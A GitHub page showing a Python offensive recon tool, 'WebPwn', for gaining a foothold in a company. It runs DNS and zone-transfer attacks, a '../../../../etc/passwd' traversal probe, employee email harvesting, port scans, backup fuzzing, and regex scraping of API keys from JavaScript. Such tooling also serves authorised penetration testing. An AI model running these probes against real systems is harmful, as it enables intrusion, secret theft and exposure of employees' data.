-
Notifications
You must be signed in to change notification settings - Fork 2
/
webpwn.py
1975 lines (1762 loc) · 77 KB
/
webpwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# Collection of common pentest tools to get initial foothold into a company
# author: Mesut Cetin, RedTeamer IT Security
# -*- coding: utf-8 -*-
import colorama
import pyfiglet
import logging
import argparse
import requests
import json
import re
import threading
import unicodedata
import argparse
import os
import pathlib
import sys
import subprocess
import random
import time
import platform
import urllib3
import warnings
import socket
import pydig
import ipaddress
import dns.resolver
from shutil import which
from subprocess import check_call, STDOUT
from urllib.error import HTTPError
from googlesearch import search
from colorama import Fore, Style
from sys import exit
from bs4 import BeautifulSoup
from unidecode import unidecode
from taser import printx
from taser.logx import setup_fileLogger,setup_consoleLogger
from taser.proto.http import extract_webdomain,web_request,get_statuscode, WebSession
from taser.utils import file_exists,delimiter2dict,delimiter2list,TaserTimeout
from datetime import datetime
from time import sleep
from alive_progress import alive_bar
import xml.etree.ElementTree as ET
class Colors:
BLUE = "\033[94m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
END = "\033[0m"
# print ASCII banner
def banner():
ascii_banner = pyfiglet.figlet_format("WebPwn")
print(Fore.GREEN + ascii_banner)
print("No technology that's connected to the Internet is unhackable")
print("- RedTeamer IT Security\n")
# progress bar
def compute():
for i in range(1000):
sleep(0.001)
yield
def progress_bar():
with alive_bar(1000) as bar:
for i in compute():
bar()
# toDo: add selfupdate from git
def check_for_update(repo_owner, repo_name, current_version):
# GitHub Repository URL
github_url = f'https://api.github.com/repos/m-cetin/webpwn/releases/latest'
try:
# Send a GET request to the GitHub API
response = requests.get(github_url)
response.raise_for_status()
# Parse the JSON response
release_info = response.json()
latest_version = release_info['tag_name']
# Compare versions
if latest_version != current_version:
print(f'{Fore.RESET}A newer version ({latest_version}) is available.')
update_choice = input('Would you like to perform the update? (Y/N): ').strip().lower()
if update_choice == 'y':
# Download the latest release
download_url = release_info['assets'][0]['browser_download_url']
subprocess.run(['wget', '-O', 'webpwn.py', '-q', download_url])
print('Update successfully downloaded. Initiating the update...')
subprocess.run(['python', 'webpwn.py'])
exit()
else:
print('Update declined. The script will not be updated.')
except Exception as e:
print(f'Error checking for updates: {str(e)}')
class c:
PURPLE = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
# AORT recon tool - credits to D3Ext
# Nameservers Function
def ns_enum(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Trying to discover valid name servers...\n" + c.END)
sleep(0.2)
"""
Query to get NS of the domain
"""
data = ""
try:
data = dns.resolver.resolve(f"{domain}", 'NS')
except:
pass
if data:
for ns in data:
print(c.YELLOW + str(ns) + c.END)
else:
print(c.YELLOW + "Unable to enumerate" + c.END)
# IPs discover Function
def ip_enum(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Discovering IPs of the domain...\n" + c.END)
sleep(0.2)
"""
Query to get ips
"""
data = ""
try:
data = dns.resolver.resolve(f"{domain}", 'A')
except:
pass
if data:
for ip in data:
print(c.YELLOW + ip.to_text() + c.END)
else:
print(c.YELLOW + "Unable to enumerate" + c.END)
# Extra DNS info Function
def txt_enum(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Enumerating extra DNS information...\n" + c.END)
sleep(0.2)
"""
Query to get extra info about the dns
"""
data = ""
try:
data = dns.resolver.resolve(domain, 'TXT')
except:
pass
if data:
for info in data:
print(c.YELLOW + info.to_text() + c.END)
else:
print(c.YELLOW + "Unable to enumerate" + c.END)
# Function to discover the IPv6 of the target
def ipv6_enum(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Getting ipv6 of the domain...\n" + c.END)
sleep(0.2)
"""
Query to get ipv6
"""
data = ""
try:
data = pydig.query(domain, 'AAAA')
except:
pass
if data:
for info in data:
print(c.YELLOW + info + c.END)
else:
print(c.YELLOW + "Unable to enumerate" + c.END)
# Mail servers Function
def mail_enum(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Finding valid mail servers...\n" + c.END)
sleep(0.2)
"""
Query to get mail servers
"""
data = ""
try:
data = dns.resolver.resolve(f"{domain}", 'MX')
except:
pass
if data:
for server in data:
print(c.YELLOW + str(server).split(" ")[1] + c.END)
else:
print(c.YELLOW + "Unable to enumerate" + c.END)
# Domain Zone Transfer Attack Function
def axfr(domain):
try:
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Starting Domain Zone Transfer attack...\n" + c.END)
sleep(0.2)
"""
Iterate through the name servers and try an AXFR attack on everyone
"""
ns_answer = dns.resolver.resolve(domain, 'NS')
for server in ns_answer:
ip_answer = dns.resolver.resolve(server.target, 'A')
for ip in ip_answer:
try:
zone = dns.zone.from_xfr(dns.query.xfr(str(ip), domain))
for host in zone:
print(c.YELLOW + "Found Host: {}".format(host) + c.END)
except dns.resolver.NoNameservers as e:
print(c.YELLOW + f"NS {server} refused zone transfer! Error: {e}" + c.END)
except Exception as e:
print(c.YELLOW + f"Error during zone transfer for NS {server}: {e}" + c.END)
continue
except Exception as e:
print(c.RED + f"Error in AXFR attack: {e}" + c.END)
# Modified function from https://github.com/Nefcore/CRLFsuite WAF detector script <3
def wafDetector(domain):
"""
Get WAFs list in a file
"""
r = requests.get("https://raw.githubusercontent.com/D3Ext/AORT/main/utils/wafsign.json")
f = open('wafsign.json', 'w')
f.write(r.text)
f.close()
with open('wafsign.json', 'r') as file:
wafsigns = json.load(file)
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Discovering active WAF on the main web page...\n" + c.END)
sleep(1)
"""
Payload to trigger the possible WAF
"""
payload = "../../../../etc/passwd"
try:
"""
Check the domain and modify if neccessary
"""
if domain.endswith("/") and domain.startswith("https://"):
response = requests.get(domain + payload, verify=False)
elif domain.endswith("/") and not domain.startswith("https://"):
response = requests.get('https://' + domain + payload, verify=False)
elif not domain.endswith("/") and domain.startswith("https://"):
response = requests.get(domain + '/' + payload, verify=False)
elif not domain.endswith("/") and not domain.startswith("https://"):
response = requests.get('https://' + domain + '/' + payload, verify=False)
except:
print(c.YELLOW + "An error has ocurred" + c.END)
try:
os.remove('wafsign.json')
except:
pass
return None
code = str(response.status_code)
page = response.text
headers = str(response.headers)
cookie = str(response.cookies.get_dict())
"""
Check if WAF has blocked the request
"""
if int(code) >= 400:
bmatch = [0, None]
for wafname, wafsign in wafsigns.items():
total_score = 0
pSign = wafsign["page"]
cSign = wafsign["code"]
hSign = wafsign["headers"]
ckSign = wafsign["cookie"]
if pSign:
if re.search(pSign, page, re.I):
total_score += 1
if cSign:
if re.search(cSign, code, re.I):
total_score += 0.5
if hSign:
if re.search(hSign, headers, re.I):
total_score += 1
if ckSign:
if re.search(ckSign, cookie, re.I):
total_score += 1
if total_score > bmatch[0]:
del bmatch[:]
bmatch.extend([total_score, wafname])
if bmatch[0] != 0:
print(c.YELLOW + bmatch[1] + c.END)
else:
print(c.YELLOW + "WAF not detected or doesn't exists" + c.END)
else:
print(c.YELLOW + "An error has ocurred or unable to enumerate" + c.END)
try:
os.remove('wafsign.json')
except:
pass
# Use the token
def crawlMails(domain, api_token):
print(c.BLUE + "\n[" + c.GREEN + "+" + c.BLUE + "] Discovering valid mail accounts and employees..." + c.END)
"""
Use the api of hunter.io with your token to get valid mails
"""
sleep(1)
api_url = f"""https://api.hunter.io/v2/domain-search?domain={domain}&api_key={api_token}"""
r = requests.get(api_url)
response_data = json.loads(r.text)
domain_name = domain.split(".")[0]
print()
file = open(f"{domain_name}-mails-data.txt", "w")
file.write(r.text)
file.close()
counter = 0
for value in response_data["data"]["emails"]:
if value["first_name"] and value["last_name"]:
counter = 1
print(c.YELLOW + value["first_name"] + " " + value["last_name"] + " - " + value["value"] + c.END)
else:
counter = 1
print(c.YELLOW + value["value"] + c.END)
if counter == 0:
print(c.YELLOW + "\nNo mails or employees found" + c.END)
else:
print(c.YELLOW + "\nMore mail data stored in " + domain_name + "-mails-data.txt" + c.END)
# Function to check subdomain takeover
def subTakeover(all_subdomains):
"""
Iterate through all the subdomains to check if anyone is vulnerable to subdomain takeover
"""
vuln_counter = 0
print(c.BLUE + "\n[" + c.GREEN + "+" + c.BLUE + "] Checking if any subdomain is vulnerable to takeover\n" + c.END)
sleep(1)
for subdom in all_subdomains:
try:
sleep(0.05)
resquery = dns.resolver.resolve(subdom, 'CNAME')
for resdata in resquery:
resdata = (resdata.to_text())
if subdom[-8:] in resdata:
r = requests.get("https://" + subdom, allow_redirects=False)
if r.status_code == 200:
vuln_counter += 1
print(c.YELLOW + subdom + " appears to be vulnerable" + c.END)
else:
pass
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
if vuln_counter <= 0:
print(c.YELLOW + "No subdomains are vulnerable" + c.END)
# Function to enumerate github and cloud
def cloudgitEnum(domain):
try:
print("\n[+] Suche nach Git-Repositories und öffentlichen Entwicklungsdaten\n")
sleep(0.2)
git_url = "https://" + domain + "/.git/"
bitbucket_url = "https://bitbucket.org/" + domain.split(".")[0]
github_url = "https://github.com/" + domain.split(".")[0]
gitlab_url = "https://gitlab.com/" + domain.split(".")[0]
# Git Repository
try:
r = requests.get(git_url, verify=False)
print("Git-Repository-URL: " + git_url + " - " + str(r.status_code) + " Statuscode")
except requests.RequestException as e:
print(f"Error accessing Git repository: {e}")
# Bitbucket Account
try:
r = requests.get(bitbucket_url)
print("Bitbucket-Account-URL: " + bitbucket_url + " - " + str(r.status_code) + " Statuscode")
except requests.RequestException as e:
print(f"Error accessing Bitbucket account: {e}")
# Github Account
try:
r = requests.get(github_url)
print("Github-Account-URL: " + github_url + " - " + str(r.status_code) + " Statuscode")
# Hier könntest du weitere Analysen durchführen, falls gewünscht
except requests.RequestException as e:
print(f"Error accessing Github account: {e}")
# Gitlab Account
try:
r = requests.get(gitlab_url)
print("Gitlab-Account-URL: " + gitlab_url + " - " + str(r.status_code) + " Statuscode")
except requests.RequestException as e:
print(f"Error accessing Gitlab account: {e}")
except Exception as ex:
print(f"An unexpected error occurred: {ex}")
# Wayback Machine function
def wayback(domain):
try:
os.makedirs("subdomains", exist_ok=True)
domain_name = domain.split(".")[0]
wayback_url = f"http://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=json&fl=original&collapse=urlkey"
r = requests.get(wayback_url, timeout=20)
r.raise_for_status()
results = r.json()[1:]
with open(os.path.join("subdomains", f"{domain_name}-wayback.txt"), "w") as file:
for result in results:
file.write(result[0] + "\n")
urlscan_url = f"https://urlscan.io/api/v1/search/?q=domain:{domain}"
r = requests.get(urlscan_url, timeout=20)
r.raise_for_status()
myresp = r.json()
results = myresp.get("results", [])
with open(os.path.join("subdomains", f"{domain_name}-wayback.txt"), "a") as file:
for res in results:
url = res["task"]["url"]
file.write(url + "\n")
print(Colors.YELLOW + f"\nAll URLs stored in subdomains/{domain_name}-wayback.txt" + Colors.END)
sleep(0.3)
# Now filter wayback output to organize endpoints
print(Colors.YELLOW + f"\nGetting .json endpoints from URLs..." + Colors.END)
sleep(0.5)
try:
os.remove(os.path.join("subdomains", f"{domain_name}-json.txt"))
except:
pass
urls = open(os.path.join("subdomains", f"{domain_name}-wayback.txt"), "r").readlines()
json_endpoints = []
for url in urls:
if ".json" in url and url not in json_endpoints:
json_endpoints.append(url)
# Store .json endpoints
with open(os.path.join("subdomains", f"{domain_name}-json-endpoints.txt"), "a") as f:
for json_url in json_endpoints:
f.write(json_url)
json_len = len(json_endpoints)
print(Colors.YELLOW + f"JSON endpoints stored in subdomains/{domain_name}-json.txt ({json_len} endpoints)" + Colors.END)
sleep(0.4)
# Continue with the rest of the code...
print(Colors.YELLOW + f"Filtering out URLs to find potential XSS and Open Redirect vulnerable endpoints..." + Colors.END)
sleep(0.2)
try:
os.remove(os.path.join("subdomains", f"{domain_name}-redirects.txt"))
except:
pass
wayback_content = open(os.path.join("subdomains", f"{domain_name}-wayback.txt"), "r").readlines()
redirects_file_exists = 1
if os.path.exists("redirects.json") == False:
redirects_file_exists = 0
r = requests.get("https://raw.githubusercontent.com/D3Ext/AORT/main/utils/redirects.json")
redirects_file = open("redirects.json", "w")
redirects_file.write(r.text)
redirects_file.close()
redirect_urls = []
redirects_raw = open("redirects.json")
redirects_json = json.load(redirects_raw)
for line in wayback_content:
line = line.strip()
for json_line in redirects_json["patterns"]:
if re.findall(rf".*{json_line}.*?", line):
endpoint_url = re.findall(rf".*{json_line}.*?", line)[0] + "FUZZ"
if endpoint_url not in redirect_urls:
redirect_urls.append(endpoint_url)
try:
os.remove(os.path.join("subdomains", f"{domain_name}-redirects.txt"))
except:
pass
with open(os.path.join("subdomains", f"{domain_name}-redirects.txt"), "a") as f:
for filtered_url in redirect_urls:
f.write(filtered_url + "\n")
end_info = len(redirect_urls)
print(Colors.YELLOW + f"Open Redirects endpoints stored in subdomains/{domain_name}-redirects.txt ({end_info} endpoints)" + Colors.END)
xss_file_exists = 1
if os.path.exists("xss.json") == False:
xss_file_exists = 0
r = requests.get("https://raw.githubusercontent.com/D3Ext/AORT/main/utils/xss.json")
xss_file = open("xss.json", "w")
xss_file.write(r.text)
xss_file.close()
xss_urls = []
xss_raw = open("xss.json")
xss_json = json.load(xss_raw)
for line in wayback_content:
line = line.strip()
for json_line in xss_json["patterns"]:
if re.findall(rf".*{json_line}.*?", line):
endpoint_url = re.findall(rf".*{json_line}.*?", line)[0] + "FUZZ"
if endpoint_url not in xss_urls:
xss_urls.append(endpoint_url)
try:
os.remove(os.path.join("subdomains", f"{domain_name}-xss.txt"))
except:
pass
with open(os.path.join("subdomains", f"{domain_name}-xss.txt"), "a") as f:
for filtered_url in xss_urls:
f.write(filtered_url + "\n")
end_info = len(xss_urls)
print(Colors.YELLOW + f"XSS endpoints stored in subdomains/{domain_name}-xss.txt ({end_info} endpoints)" + Colors.END)
sleep(0.1)
if redirects_file_exists == 0:
os.remove("redirects.json")
if xss_file_exists == 0:
os.remove("xss.json")
except KeyboardInterrupt:
sys.exit(Colors.RED + "\n[!] Interrupt handler received, exiting...\n" + Colors.END)
except requests.exceptions.RequestException as e:
print(Colors.RED + f"\n[!] Error during HTTP request: {e}\n" + Colors.END)
except json.JSONDecodeError as e:
print(Colors.RED + f"\n[!] Error decoding JSON: {e}\n" + Colors.END)
except Exception as e:
print(Colors.RED + f"\n[!] An unexpected error occurred: {e}\n" + Colors.END)
# Query the domain
def whoisLookup(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Performing Whois lookup..." + c.END)
import whois
sleep(1.2)
try:
w = whois.whois(domain) # Two different ways to avoid a strange error
except:
w = whois.query(domain)
try:
print(c.YELLOW + f"\n{w}" + c.END)
except:
print(c.YELLOW + "\nAn error has ocurred or unable to whois " + domain + c.END)
# Function to thread when probing active subdomains
def checkStatus(subdomain, file):
try:
r = requests.get("https://" + subdomain, timeout=2)
# Just check if the web is up and https
if r.status_code:
file.write("https://" + subdomain + "\n")
except:
try:
r = requests.get("http://" + subdomain, timeout=2)
# Check if is up and http
if r.status_code:
file.write("http://" + subdomain + "\n")
except:
pass
# Check if common ports are open
def portScan(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Scanning most common ports on " + domain + "\n" + c.END)
""" Define ports array """
ports = [21,22,23,25,26,43,53,69,80,81,88,110,135,389,443,445,636,873,1433,2049,3000,3001,3306,4000,4040,5000,5001,5985,5986,8000,8001,8080,8081,27017]
"""
Iterate through the ports to check if are open
"""
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.40)
result = sock.connect_ex((domain,port))
if result == 0:
print(c.YELLOW + "Port " + str(port) + " - OPEN" + c.END)
sock.close()
# Fuzz a little looking for backups
def findBackups(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Looking for common backup files...\n" + c.END)
back_counter = 0
hostname = domain.split(".")[0]
protocols = ["http", "https"]
filenames = [hostname, domain, "backup", "admin"]
extensions = ["sql.tar","tar","tar.gz","gz","tar.bzip2","sql.bz2","sql.7z","zip","sql.gz","7z"]
# Some common backup filenames with multiple extensions
for protocol in protocols:
for filename in filenames:
for ext in extensions:
url = protocol + "://" + domain + "/" + filename + "." + ext
try:
r = requests.get(url, verify=False)
code = r.status_code
except:
continue
if code != 404:
back_counter += 1
print(c.YELLOW + url + " - " + str(code) + c.END)
if back_counter == 0:
print(c.YELLOW + "No backup files found" + c.END)
# Look for Google Maps API key and test if it's vulnerable
def findSecrets(domain):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Trying to found possible secrets and api keys..." + c.END)
for protocol in ["https", "http"]:
findSecretsFromUrl(protocol + "://" + domain)
def findSecretsFromUrl(url):
# Initial request
try:
r = requests.get(url, verify=False)
except:
return
js_list = []
key_counter = 0
url_list = re.findall(r'src="(.*?)"', r.text) + re.findall(r'href="(.*?)"', r.text)
# Get JS endpoints
for endpoint in url_list:
if ".js" in endpoint and "https://" not in endpoint:
js_list.append(endpoint)
if len(js_list) >= 1:
print(c.YELLOW + "\nDiscovered JS endpoints:" + c.END)
for js in js_list:
print(c.YELLOW + url + js + c.END)
for js_endpoint in js_list:
try:
r = requests.get(url + js_endpoint, verify=False)
except:
pass
if "https://maps.googleapis.com/" in r.text:
maps_api_key = re.findall(r'src="https://maps.googleapis.com/(.*?)"', r.text)[0]
print(c.YELLOW + "\nMaps API key found: " + maps_api_key + c.END)
key_counter = 1
try:
google_api = re.findall(r'AIza[0-9A-Za-z-_]{35}', r.text)[0]
if google_api:
print(c.YELLOW + "\nGoogle api found: " + google_api + c.END)
key_counter = 1
except:
pass
try:
google_oauth = re.findall(r'ya29\.[0-9A-Za-z\-_]+', r.text)[0]
if google_oauth:
print(c.YELLOW + "\nGoogle Oauth found: " + google_oauth + c.END)
key_counter = 1
except:
pass
try:
amazon_aws_url = re.findall(r's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com', r.text)[0]
if amazon_aws_url:
print(c.YELLOW + "\nAmazon AWS url found on " + js_endpoint + c.END)
key_counter = 1
except:
pass
try:
stripe_key = re.findall(r'"pk_live_.*"', r.text)[0].replace('"', '')
if stripe_key:
print(c.YELLOW + "\nStripe key found on " + js_endpoint + c.END)
key_counter = 1
except:
pass
if key_counter != 1:
print(c.YELLOW + "\nNo secrets found" + c.END)
# Perform basic enumeration
def basicEnum(domain):
try:
print("\n[+] Doing basic enumeration...\n")
"""
Verwende python-Wappalyzer
"""
from Wappalyzer import Wappalyzer, WebPage
wappalyzer = Wappalyzer.latest()
webpage = WebPage.new_from_url('https://' + domain)
info = wappalyzer.analyze_with_versions(webpage)
if info != "{}":
print(json.dumps(info, sort_keys=True, indent=4))
else:
print("\nKeine gemeinsamen Technologien gefunden")
endpoints = ["robots.txt", "xmlrpc.php", "wp-cron.php", "actuator/heapdump", "datahub/heapdump", "datahub/actuator/heapdump", "heapdump", "admin/", ".env", ".config", "version.txt", "README.md", "license.txt", "config.php.bak", "api/", "feed.xml", "CHANGELOG.md", "config.json", "cgi-bin/", "env.json", ".htaccess", "js/", "kibana/", "log.txt"]
for end in endpoints:
try:
r = requests.get(f"https://{domain}/{end}", timeout=4)
print(f"https://{domain}/{end} - " + str(r.status_code))
except requests.RequestException as e:
print(f"Fehler beim Zugriff auf {end}: {e}")
except Exception as ex:
print(f"Ein unerwarteter Fehler ist aufgetreten: {ex}")
# Main Domain Discoverer Function
def SDom(domain,filename):
print(c.BLUE + "\n[" + c.END + c.GREEN + "+" + c.END + c.BLUE + "] Discovering subdomains using passive techniques...\n" + c.END)
sleep(0.1)
global doms
doms = []
"""
Get valid subdomains from crt.sh
"""
try:
r = requests.get("https://crt.sh/?q=" + domain + "&output=json", timeout=20)
formatted_json = json.dumps(json.loads(r.text), indent=4)
crt_domains = sorted(set(re.findall(r'"common_name": "(.*?)"', formatted_json)))
# Only append new valid subdomains
for dom in crt_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from AlienVault
"""
try:
r = requests.get(f"https://otx.alienvault.com/api/v1/indicators/domain/{domain}/passive_dns", timeout=20)
alienvault_domains = sorted(set(re.findall(r'"hostname": "(.*?)"', r.text)))
# Only append new valid subdomains
for dom in alienvault_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from Hackertarget
"""
try:
r = requests.get(f"https://api.hackertarget.com/hostsearch/?q={domain}", timeout=20)
hackertarget_domains = re.findall(r'(.*?),', r.text)
# Only append new valid subdomains
for dom in hackertarget_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from RapidDNS
"""
try:
r = requests.get(f"https://rapiddns.io/subdomain/{domain}", timeout=20)
rapiddns_domains = re.findall(r'target="_blank".*?">(.*?)</a>', r.text)
# Only append new valid subdomains
for dom in rapiddns_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from Riddler
"""
try:
r = requests.get(f"https://riddler.io/search/exportcsv?q=pld:{domain}", timeout=20)
riddler_domains = re.findall(r'\[.*?\]",.*?,(.*?),\[', r.text)
# Only append new valid subdomains
for dom in riddler_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from ThreatMiner
"""
try:
r = requests.get(f"https://api.threatminer.org/v2/domain.php?q={domain}&rt=5", timeout=20)
raw_domains = json.loads(r.content)
threatminer_domains = raw_domains['results']
# Only append new valid subdomains
for dom in threatminer_domains:
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
"""
Get subdomains from URLScan
"""
try:
r = requests.get(f"https://urlscan.io/api/v1/search/?q={domain}", timeout=20)
urlscan_domains = sorted(set(re.findall(r'https://(.*?).' + domain, r.text)))
# Only append new valid subdomains
for dom in urlscan_domains:
dom = dom + "." + domain
if dom.endswith(domain) and dom not in doms:
doms.append(dom)
except KeyboardInterrupt:
sys.exit(c.RED + "\n[!] Interrupt handler received, exiting...\n" + c.END)
except:
pass
if filename != None:
f = open(filename, "a")
if doms:
"""
Iterate through the subdomains and check the lenght to print them in a table format
"""
print(c.YELLOW + "+" + "-"*47 + "+")
for value in doms:
if len(value) >= 10 and len(value) <= 14:
print("| " + value + " \t\t\t\t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 15 and len(value) <= 19:
print("| " + value + "\t\t\t\t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 20 and len(value) <= 24:
print("| " + value + " \t\t\t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 25 and len(value) <= 29:
print("| " + value + "\t\t\t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 30 and len(value) <= 34:
print("| " + value + " \t\t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 35 and len(value) <= 39:
print("| " + value + " \t|")
if filename != None:
f.write(value + "\n")
if len(value) >= 40 and len(value) <= 44:
print("| " + value + " \t|")
if filename != None:
f.write(value + "\n")
"""
Print summary
"""
print("+" + "-"*47 + "+" + c.END)
print(c.YELLOW + "\nTotal discovered sudomains: " + str(len(doms)) + c.END)
"""
Close file if "-o" parameter was especified
"""
if filename != None:
f.close()
print(c.BLUE + "\n[" + c.GREEN + "+" + c.BLUE + "] Output stored in " + filename)
else:
print(c.YELLOW + "No subdomains discovered through SSL transparency" + c.END)
# Check if the given target is active
def checkDomain(domain):
try:
addr = socket.gethostbyname(domain)
except:
print(c.YELLOW + "\nTarget doesn't exists or is down" + c.END)
sys.exit(1)
def install_requests_module():
try:
print('\nChecking Requirements.....')
time.sleep(0.5)
import requests # call module
print('\nAll Available, Go Main Tools.....')
time.sleep(0.5)
except ImportError:
os.system('pip install requests') # install module
print('\nAll Available, Go Main Tools.....')
time.sleep(0.5)
def clear_terminal():
os.system('cls' if os.name == 'nt' else 'clear') # clear terminal
def reverse():
try:
s = requests.Session()
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'}
site_list_path = input('Enter the path of the list file (e.g. list.txt): ')
site_list = open(site_list_path, 'r').read().splitlines()
names = []
for site in site_list:
if site.startswith("http://"):
site = site.replace("http://", "")
if site.startswith("https://"):
site = site.replace("https://", "")
response = s.get("https://rapiddns.io/sameip/" + site + "?full=1#result", headers=ua).content.decode("utf-8")
pattern = r"</th>\n<td>(.*?)</td>"
results = re.findall(pattern, response)
print("nov@session:~$ " + site + " - [ " + str(len(results)) + " ]")
for line in results:
line = line.strip() # delete ' '
if line.startswith("www."):
line = "" + line[4:]
if line not in names:
names.append(line)
with open('subdomains/domains.txt', 'a+') as f:
f.write(line + "\n") # write output
except Exception as e:
print("error : ", str(e))
# sqlmap mass exploitation
